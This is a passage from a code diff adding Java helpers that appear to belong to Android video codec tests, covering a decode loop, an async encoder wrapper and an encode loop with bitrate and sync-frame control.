+ int inputFrameIndex = 0;
+ int outputFrameIndex = 0;
+ long inPresentationTimeUs = 0;
+ long outPresentationTimeUs = 0;
+ boolean sawOutputEOS = false;
+ boolean sawInputEOS = false;
+
+ while (!sawOutputEOS) {
+ if (!sawInputEOS) {
+ int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
+ if (inputBufIndex >= 0) {
+ byte[] frame = ivf.readFrame(inputFrameIndex);
+
+ if (inputFrameIndex == frameCount - 1) {
+ Log.d(TAG, " Input EOS for frame # " + inputFrameIndex);
+ sawInputEOS = true;
+ }
+
+ inputBuffers[inputBufIndex].clear();
+ inputBuffers[inputBufIndex].put(frame);
+ inputBuffers[inputBufIndex].rewind();
+ inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
+
+ decoder.queueInputBuffer(
+ inputBufIndex,
+ 0, // offset
+ frame.length,
+ inPresentationTimeUs,
+ sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+ inputFrameIndex++;
+ }
+ }
+
+ int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+ while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+ result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+ outputBuffers = decoder.getOutputBuffers();
+ } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ // Process format change
+ format = decoder.getOutputFormat();
+ frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+ frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+ frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+ Log.d(TAG, "Decoder output format change. Color: 0x" +
+ Integer.toHexString(frameColorFormat));
+ Log.d(TAG, "Format: " + format.toString());
+
+ // Parse frame and slice height from undocumented values
+ if (format.containsKey("stride")) {
+ frameStride = format.getInteger("stride");
+ } else {
+ frameStride = frameWidth;
+ }
+ if (format.containsKey("slice-height")) {
+ frameSliceHeight = format.getInteger("slice-height");
+ } else {
+ frameSliceHeight = frameHeight;
+ }
+ Log.d(TAG, "Frame stride and slice height: " + frameStride +
+ " x " + frameSliceHeight);
+ frameStride = Math.max(frameWidth, frameStride);
+ frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
+
+ // Parse crop window for the area of recording decoded frame data.
+ if (format.containsKey("crop-left")) {
+ cropLeft = format.getInteger("crop-left");
+ }
+ if (format.containsKey("crop-top")) {
+ cropTop = format.getInteger("crop-top");
+ }
+ if (format.containsKey("crop-right")) {
+ cropWidth = format.getInteger("crop-right") - cropLeft + 1;
+ } else {
+ cropWidth = frameWidth;
+ }
+ if (format.containsKey("crop-bottom")) {
+ cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
+ } else {
+ cropHeight = frameHeight;
+ }
+ Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
+ + ", size: " + cropWidth + " x " + cropHeight);
+ cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
+ cropHeight = Math.min(frameHeight - cropTop, cropHeight);
+ }
+ result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+ }
+ if (result >= 0) {
+ int outputBufIndex = result;
+ outPresentationTimeUs = bufferInfo.presentationTimeUs;
+ Log.v(TAG, "Writing buffer # " + outputFrameIndex +
+ ". Size: " + bufferInfo.size +
+ ". InTime: " + (inPresentationTimeUs + 500)/1000 +
+ ". OutTime: " + (outPresentationTimeUs + 500)/1000);
+ if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ sawOutputEOS = true;
+ Log.d(TAG, " Output EOS for frame # " + outputFrameIndex);
+ }
+
+ if (bufferInfo.size > 0) {
+ // Save decoder output to yuv file.
+ if (yuv != null) {
+ byte[] frame = new byte[bufferInfo.size];
+ outputBuffers[outputBufIndex].position(bufferInfo.offset);
+ outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
+ // Convert NV12 to YUV420 if necessary.
+ if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+ frame = NV12ToYUV420(frameWidth, frameHeight,
+ frameStride, frameSliceHeight, frame);
+ }
+ int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
+ // Pack frame if necessary.
+ if (writeLength < frame.length &&
+ (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
+ frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
+ frameStride, frameSliceHeight, frame);
+ }
+ yuv.write(frame, 0, writeLength);
+ }
+ outputFrameIndex++;
+
+ // Update statistics - store presentation time delay in offset
+ long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
+ MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+ bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
+ outPresentationTimeUs, bufferInfo.flags);
+ bufferInfos.add(bufferInfoCopy);
+ }
+ decoder.releaseOutputBuffer(outputBufIndex, false);
+ }
+ }
+ decoder.stop();
+ decoder.release();
+ ivf.close();
+ if (yuv != null) {
+ yuv.close();
+ }
+
+ return bufferInfos;
+ }
+
+
+ /**
+ * Helper function to return InputStream from either filename (if set)
+ * or resource id (if filename is not set).
+ */
+ private InputStream OpenFileOrResourceId(String filename, int resourceId) throws Exception {
+ if (filename != null) {
+ return new FileInputStream(filename);
+ }
+ return mResources.openRawResource(resourceId);
+ }
+
+ /**
+ * Results of frame encoding.
+ */
+ protected class MediaEncoderOutput {
+ public long inPresentationTimeUs;
+ public long outPresentationTimeUs;
+ public boolean outputGenerated;
+ public int flags;
+ public byte[] buffer;
+ }
+
+ protected class MediaEncoderAsyncHelper {
+ private final EncoderOutputStreamParameters mStreamParams;
+ private final CodecProperties mProperties;
+ private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
+ private final IvfWriter mIvf;
+ private final ArrayList<ByteBuffer> mCodecConfigs;
+ private final byte[] mSrcFrame;
+
+ private InputStream mYuvStream;
+ private int mInputFrameIndex;
+
+ MediaEncoderAsyncHelper(
+ EncoderOutputStreamParameters streamParams,
+ CodecProperties properties,
+ ArrayList<MediaCodec.BufferInfo> bufferInfos,
+ IvfWriter ivf,
+ ArrayList<ByteBuffer> codecConfigs)
+ throws Exception {
+ mStreamParams = streamParams;
+ mProperties = properties;
+ mBufferInfos = bufferInfos;
+ mIvf = ivf;
+ mCodecConfigs = codecConfigs;
+
+ int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+ mSrcFrame = new byte[srcFrameSize];
+
+ mYuvStream = OpenFileOrResourceId(
+ streamParams.inputYuvFilename, streamParams.inputResourceId);
+ }
+
+ public byte[] getInputFrame() {
+ // Check EOS
+ if (mStreamParams.frameCount == 0
+ || (mStreamParams.frameCount > 0
+ && mInputFrameIndex >= mStreamParams.frameCount)) {
+ Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
+ return null;
+ }
+
+ try {
+ int bytesRead = mYuvStream.read(mSrcFrame);
+
+ if (bytesRead == -1) {
+ // rewind to beginning of file
+ mYuvStream.close();
+ mYuvStream = OpenFileOrResourceId(
+ mStreamParams.inputYuvFilename, mStreamParams.inputResourceId);
+ bytesRead = mYuvStream.read(mSrcFrame);
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "Failed to read YUV file.");
+ return null;
+ }
+ mInputFrameIndex++;
+
+ // Convert YUV420 to NV12 if necessary
+ if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+ return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
+ mSrcFrame);
+ } else {
+ return mSrcFrame;
+ }
+ }
+
+ public boolean saveOutputFrame(MediaEncoderOutput out) {
+ if (out.outputGenerated) {
+ if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+ Log.d(TAG, "Storing codec config separately");
+ mCodecConfigs.add(
+ ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+ out.buffer = new byte[0];
+ }
+ if (out.buffer.length > 0) {
+ // Save frame
+ try {
+ mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
+ } catch (Exception e) {
+ Log.d(TAG, "Failed to write frame");
+ return true;
+ }
+
+ // Update statistics - store presentation time delay in offset
+ long presentationTimeUsDelta = out.inPresentationTimeUs -
+ out.outPresentationTimeUs;
+ MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+ bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+ out.outPresentationTimeUs, out.flags);
+ mBufferInfos.add(bufferInfoCopy);
+ }
+ // Detect output EOS
+ if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ Log.d(TAG, "----Output EOS ");
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+
+ /**
+ * Video encoder wrapper class.
+ * Allows to run the encoder either in a callee's thread or in a looper thread
+ * using buffer dequeue ready notification callbacks.
+ *
+ * Function feedInput() is used to send raw video frame to the encoder input. When encoder
+ * is configured to run in async mode the function will run in a looper thread.
+ * Encoded frame can be retrieved by calling getOutput() function.
+ */
+ protected class MediaEncoderAsync extends Thread {
+ private int mId;
+ private MediaCodecWrapper mCodec;
+ private ByteBuffer[] mInputBuffers;
+ private ByteBuffer[] mOutputBuffers;
+ private int mInputFrameIndex;
+ private int mOutputFrameIndex;
+ private int mInputBufIndex;
+ private int mFrameRate;
+ private long mTimeout;
+ private MediaCodec.BufferInfo mBufferInfo;
+ private long mInPresentationTimeUs;
+ private long mOutPresentationTimeUs;
+ private boolean mAsync;
+ // Flag indicating if input frame was consumed by the encoder in feedInput() call.
+ private boolean mConsumedInput;
+ // Result of frame encoding returned by getOutput() call.
+ private MediaEncoderOutput mOutput;
+ // Object used to signal that looper thread has started and Handler instance associated
+ // with looper thread has been allocated.
+ private final Object mThreadEvent = new Object();
+ // Object used to signal that MediaCodec buffer dequeue notification callback
+ // was received.
+ private final Object mCallbackEvent = new Object();
+ private Handler mHandler;
+ private boolean mCallbackReceived;
+ private MediaEncoderAsyncHelper mHelper;
+ private final Object mCompletionEvent = new Object();
+ private boolean mCompleted;
+ private boolean mInitialSyncFrameReceived;
+
+ private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
+ @Override
+ public void onInputBufferAvailable(MediaCodec codec, int index) {
+ if (mHelper == null) {
+ Log.e(TAG, "async helper not available");
+ return;
+ }
+
+ byte[] encFrame = mHelper.getInputFrame();
+ boolean inputEOS = (encFrame == null);
+
+ int encFrameLength = 0;
+ int flags = 0;
+ if (inputEOS) {
+ flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+ } else {
+ encFrameLength = encFrame.length;
+
+ ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
+ byteBuffer.put(encFrame);
+ byteBuffer.rewind();
+
+ mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+
+ Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+ ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+
+ mInputFrameIndex++;
+ }
+
+ mCodec.queueInputBuffer(
+ index,
+ 0, // offset
+ encFrameLength, // size
+ mInPresentationTimeUs,
+ flags);
+ }
+
+ @Override
+ public void onOutputBufferAvailable(MediaCodec codec,
+ int index, MediaCodec.BufferInfo info) {
+ if (mHelper == null) {
+ Log.e(TAG, "async helper not available");
+ return;
+ }
+
+ MediaEncoderOutput out = new MediaEncoderOutput();
+
+ out.buffer = new byte[info.size];
+ ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
+ outputBuffer.get(out.buffer, 0, info.size);
+ mOutPresentationTimeUs = info.presentationTimeUs;
+
+ String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+ if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+ logStr += " CONFIG. ";
+ }
+ if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+ logStr += " KEY. ";
+ if (!mInitialSyncFrameReceived) {
+ mInitialSyncFrameReceived = true;
+ }
+ }
+ if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ logStr += " EOS. ";
+ }
+ logStr += " Size: " + info.size;
+ logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+ ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+ Log.v(TAG, logStr);
+
+ if (!mInitialSyncFrameReceived
+ && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+ throw new RuntimeException("Non codec_config_frame before first sync.");
+ }
+
+ if (info.size > 0) {
+ mOutputFrameIndex++;
+ out.inPresentationTimeUs = mInPresentationTimeUs;
+ out.outPresentationTimeUs = mOutPresentationTimeUs;
+ }
+ mCodec.releaseOutputBuffer(index, false);
+
+ out.flags = info.flags;
+ out.outputGenerated = true;
+
+ if (mHelper.saveOutputFrame(out)) {
+ // output EOS
+ signalCompletion();
+ }
+ }
+
+ @Override
+ public void onError(MediaCodec codec, CodecException e) {
+ Log.e(TAG, "onError: " + e
+ + ", transient " + e.isTransient()
+ + ", recoverable " + e.isRecoverable()
+ + ", error " + e.getErrorCode());
+ }
+
+ @Override
+ public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+ Log.i(TAG, "onOutputFormatChanged: " + format.toString());
+ }
+ };
+
+ private synchronized void requestStart() throws Exception {
+ mHandler = null;
+ start();
+ // Wait for Hander allocation
+ synchronized (mThreadEvent) {
+ while (mHandler == null) {
+ mThreadEvent.wait();
+ }
+ }
+ }
+
+ public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
+ mHelper = helper;
+ }
+
+ @Override
+ public void run() {
+ Looper.prepare();
+ synchronized (mThreadEvent) {
+ mHandler = new Handler();
+ mThreadEvent.notify();
+ }
+ Looper.loop();
+ }
+
+ private void runCallable(final Callable<?> callable) throws Exception {
+ if (mAsync) {
+ final Exception[] exception = new Exception[1];
+ final CountDownLatch countDownLatch = new CountDownLatch(1);
+ mHandler.post( new Runnable() {
+ @Override
+ public void run() {
+ try {
+ callable.call();
+ } catch (Exception e) {
+ exception[0] = e;
+ } finally {
+ countDownLatch.countDown();
+ }
+ }
+ } );
+
+ // Wait for task completion
+ countDownLatch.await();
+ if (exception[0] != null) {
+ throw exception[0];
+ }
+ } else {
+ callable.call();
+ }
+ }
+
+ private synchronized void requestStop() throws Exception {
+ mHandler.post( new Runnable() {
+ @Override
+ public void run() {
+ // This will run on the Looper thread
+ Log.v(TAG, "MediaEncoder looper quitting");
+ Looper.myLooper().quitSafely();
+ }
+ } );
+ // Wait for completion
+ join();
+ mHandler = null;
+ }
+
+ private void createCodecInternal(final String name,
+ final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
+ mBufferInfo = new MediaCodec.BufferInfo();
+ mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
+ mTimeout = timeout;
+ mInputFrameIndex = 0;
+ mOutputFrameIndex = 0;
+ mInPresentationTimeUs = 0;
+ mOutPresentationTimeUs = 0;
+
+ if (useNdk) {
+ mCodec = new NdkMediaCodec(name);
+ } else {
+ mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
+ }
+ if (mAsync) {
+ mCodec.setCallback(mCallback);
+ }
+ mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
+ mCodec.start();
+
+ // get the cached input/output only in sync mode
+ if (!mAsync) {
+ mInputBuffers = mCodec.getInputBuffers();
+ mOutputBuffers = mCodec.getOutputBuffers();
+ }
+ }
+
+ public void createCodec(int id, final String name, final MediaFormat format,
+ final long timeout, boolean async, final boolean useNdk) throws Exception {
+ mId = id;
+ mAsync = async;
+ if (mAsync) {
+ requestStart(); // start looper thread
+ }
+ runCallable( new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ createCodecInternal(name, format, timeout, useNdk);
+ return null;
+ }
+ } );
+ }
+
+ private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
+ mConsumedInput = false;
+ // Feed input
+ mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
+
+ if (mInputBufIndex >= 0) {
+ ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
+ inputBuffer.clear();
+ inputBuffer.put(encFrame);
+ inputBuffer.rewind();
+ int encFrameLength = encFrame.length;
+ int flags = 0;
+ if (inputEOS) {
+ encFrameLength = 0;
+ flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+ }
+ if (!inputEOS) {
+ Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+ ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+ mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+ mInputFrameIndex++;
+ }
+
+ mCodec.queueInputBuffer(
+ mInputBufIndex,
+ 0, // offset
+ encFrameLength, // size
+ mInPresentationTimeUs,
+ flags);
+
+ mConsumedInput = true;
+ } else {
+ Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
+ }
+ mCallbackReceived = false;
+ }
+
+ public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
+ runCallable( new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ feedInputInternal(encFrame, inputEOS);
+ return null;
+ }
+ } );
+ return mConsumedInput;
+ }
+
+ private void getOutputInternal() {
+ mOutput = new MediaEncoderOutput();
+ mOutput.inPresentationTimeUs = mInPresentationTimeUs;
+ mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+ mOutput.outputGenerated = false;
+
+ // Get output from the encoder
+ int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+ while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+ result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+ mOutputBuffers = mCodec.getOutputBuffers();
+ } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
+ }
+ result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+ }
+ if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
+ Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
+ }
+
+ if (result >= 0) {
+ int outputBufIndex = result;
+ mOutput.buffer = new byte[mBufferInfo.size];
+ ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
+ outputBuffer.position(mBufferInfo.offset);
+ outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
+ mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
+
+ String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+ if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+ logStr += " CONFIG. ";
+ }
+ if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+ logStr += " KEY. ";
+ if (!mInitialSyncFrameReceived) {
+ mInitialSyncFrameReceived = true;
+ }
+ }
+ if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ logStr += " EOS. ";
+ }
+ logStr += " Size: " + mBufferInfo.size;
+ logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+ ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+ Log.v(TAG, logStr);
+
+ if (!mInitialSyncFrameReceived
+ && (mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+ throw new RuntimeException("Non codec_config_frame before first sync.");
+ }
+
+ if (mBufferInfo.size > 0) {
+ mOutputFrameIndex++;
+ mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+ }
+ mCodec.releaseOutputBuffer(outputBufIndex, false);
+
+ mOutput.flags = mBufferInfo.flags;
+ mOutput.outputGenerated = true;
+ }
+ mCallbackReceived = false;
+ }
+
+ public MediaEncoderOutput getOutput() throws Exception {
+ runCallable( new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ getOutputInternal();
+ return null;
+ }
+ } );
+ return mOutput;
+ }
+
+ public void forceSyncFrame() throws Exception {
+ final Bundle syncFrame = new Bundle();
+ syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
+ runCallable( new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ mCodec.setParameters(syncFrame);
+ return null;
+ }
+ } );
+ }
+
+ public void updateBitrate(int bitrate) throws Exception {
+ final Bundle bitrateUpdate = new Bundle();
+ bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
+ runCallable( new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ mCodec.setParameters(bitrateUpdate);
+ return null;
+ }
+ } );
+ }
+
+
+ public void waitForBufferEvent() throws Exception {
+ Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
+ if (mAsync) {
+ synchronized (mCallbackEvent) {
+ if (!mCallbackReceived) {
+ mCallbackEvent.wait(1000); // wait 1 sec for a callback
+ // throw an exception if callback was not received
+ if (!mCallbackReceived) {
+ throw new RuntimeException("MediaCodec callback was not received");
+ }
+ }
+ }
+ } else {
+ Thread.sleep(5);
+ }
+ Log.v(TAG, "----Waiting for bufferEvent done");
+ }
+
+
+ public void waitForCompletion(long timeoutMs) throws Exception {
+ synchronized (mCompletionEvent) {
+ long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
+
+ while (!mCompleted) {
+ mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
+ if (System.currentTimeMillis() >= timeoutExpiredMs) {
+ throw new RuntimeException("encoding has timed out!");
+ }
+ }
+ }
+ }
+
+ public void signalCompletion() {
+ synchronized (mCompletionEvent) {
+ mCompleted = true;
+ mCompletionEvent.notify();
+ }
+ }
+
+ public void deleteCodec() throws Exception {
+ runCallable( new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ mCodec.stop();
+ mCodec.release();
+ return null;
+ }
+ } );
+ if (mAsync) {
+ requestStop(); // Stop looper thread
+ }
+ }
+ }
+
+ /**
+ * @see #encode(EncoderOutputStreamParameters, ArrayList<ByteBuffer>)
+ */
+ protected ArrayList<MediaCodec.BufferInfo> encode(
+ EncoderOutputStreamParameters streamParams) throws Exception {
+ return encode(streamParams, new ArrayList<ByteBuffer>());
+ }
+
+ /**
+ * Video encoding loop supporting encoding single streams with an option
+ * to run in a looper thread and use buffer ready notification callbacks.
+ *
+ * Output stream is described by encodingParams parameters.
+ *
+ * MediaCodec will raise an IllegalStateException
+ * whenever video encoder fails to encode a frame.
+ *
+ * Color format of input file should be YUV420, and frameWidth,
+ * frameHeight should be supplied correctly as raw input file doesn't
+ * include any header data.
+ *
+ * @param streamParams Structure with encoder parameters
+ * @param codecConfigs List to be filled with codec config buffers
+ * @return Returns array of encoded frames information for each frame.
+ */
+ protected ArrayList<MediaCodec.BufferInfo> encode(
+ EncoderOutputStreamParameters streamParams,
+ ArrayList<ByteBuffer> codecConfigs) throws Exception {
+
+ ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+ Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+ streamParams.frameHeight);
+ int bitrate = streamParams.bitrateSet[0];
+
+ // Create minimal media format signifying desired output.
+ MediaFormat format = MediaFormat.createVideoFormat(
+ streamParams.codecMimeType, streamParams.frameWidth,
+ streamParams.frameHeight);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+ CodecProperties properties = getVideoCodecProperties(
+ true, format, streamParams.forceGoogleEncoder);
+ if (properties == null) {
+ return null;
+ }
+
+ // Open input/output
+ InputStream yuvStream = OpenFileOrResourceId(
+ streamParams.inputYuvFilename, streamParams.inputResourceId);
+ IvfWriter ivf = new IvfWriter(
+ streamParams.outputIvfFilename, streamParams.codecMimeType,
+ streamParams.frameWidth, streamParams.frameHeight);
+
+ // Create a media format signifying desired output.
+ if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+ format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+ }
+ if (streamParams.temporalLayers > 0) {
+ format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+ }
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+ int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+ streamParams.frameRate;
+ format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+
+ // Create encoder
+ Log.d(TAG, "Creating encoder " + properties.codecName +
+ ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+ streamParams.frameWidth + " x " + streamParams.frameHeight +
+ ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+ ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+ ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+ ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+ Log.d(TAG, " Format: " + format);
+ Log.d(TAG, " Output ivf:" + streamParams.outputIvfFilename);
+ MediaEncoderAsync codec = new MediaEncoderAsync();
+ codec.createCodec(0, properties.codecName, format,
+ streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+
+ // encode loop
+ boolean sawInputEOS = false; // no more data
+ boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
+ boolean sawOutputEOS = false;
+ boolean inputConsumed = true;
+ int inputFrameIndex = 0;
+ int lastBitrate = bitrate;
+ int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+ byte[] srcFrame = new byte[srcFrameSize];
+
+ while (!sawOutputEOS) {
+
+ // Read and feed input frame
+ if (!consumedInputEOS) {
+
+ // Read new input buffers - if previous input was consumed and no EOS
+ if (inputConsumed && !sawInputEOS) {
+ int bytesRead = yuvStream.read(srcFrame);
+
+ // Check EOS
+ if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
+ sawInputEOS = true;
+ Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+ }
+
+ if (!sawInputEOS && bytesRead == -1) {
+ if (streamParams.frameCount == 0) {
+ sawInputEOS = true;
+ Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+ } else {
+ yuvStream.close();
+ yuvStream = OpenFileOrResourceId(
+ streamParams.inputYuvFilename, streamParams.inputResourceId);
+ bytesRead = yuvStream.read(srcFrame);
+ }
+ }
+
+ // Force sync frame if syncForceFrameinterval is set.
+ if (!sawInputEOS && inputFrameIndex > 0 &&
+ streamParams.syncForceFrameInterval > 0 &&
+ (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
+ Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
+ codec.forceSyncFrame();
+ }
+
+ // Dynamic bitrate change.
+ if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
+ int newBitrate = streamParams.bitrateSet[inputFrameIndex];
+ if (newBitrate != lastBitrate) {
+ Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
+ " for frame " + inputFrameIndex);
+ codec.updateBitrate(newBitrate);
+ lastBitrate = newBitrate;
+ }
+ }
+
+ // Convert YUV420 to NV12 if necessary
+ if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+ srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
+ srcFrame);
+ }
+ }
+
+ inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
+ if (inputConsumed) {
+ inputFrameIndex++;
+ consumedInputEOS = sawInputEOS;
+ }
+ }
+
+ // Get output from the encoder
+ MediaEncoderOutput out = codec.getOutput();
+ if (out.outputGenerated) {
+ // Detect output EOS
+ if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ Log.d(TAG, "----Output EOS ");
+ sawOutputEOS = true;
+ }
+ if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+ Log.d(TAG, "Storing codec config separately");
+ codecConfigs.add(
+ ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+ out.buffer = new byte[0];
+ }
+
+ if (out.buffer.length > 0) {
+ // Save frame
+ ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
+
+ // Update statistics - store presentation time delay in offset
+ long presentationTimeUsDelta = out.inPresentationTimeUs -
+ out.outPresentationTimeUs;
+ MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+ bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+ out.outPresentationTimeUs, out.flags);
+ bufferInfos.add(bufferInfoCopy);
+ }
+ }
+
+ // If codec is not ready to accept input/poutput - wait for buffer ready callback
+ if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
+ codec.waitForBufferEvent();
+ }
+ }
+
+ codec.deleteCodec();
+ ivf.close();
+ yuvStream.close();
+
+ return bufferInfos;
+ }
+
+ /**
+ * Video encoding run in a looper thread and use buffer ready callbacks.
+ *
+ * Output stream is described by encodingParams parameters.
+ *
+ * MediaCodec will raise an IllegalStateException
+ * whenever video encoder fails to encode a frame.
+ *
+ * Color format of input file should be YUV420, and frameWidth,
+ * frameHeight should be supplied correctly as raw input file doesn't
+ * include any header data.
+ *
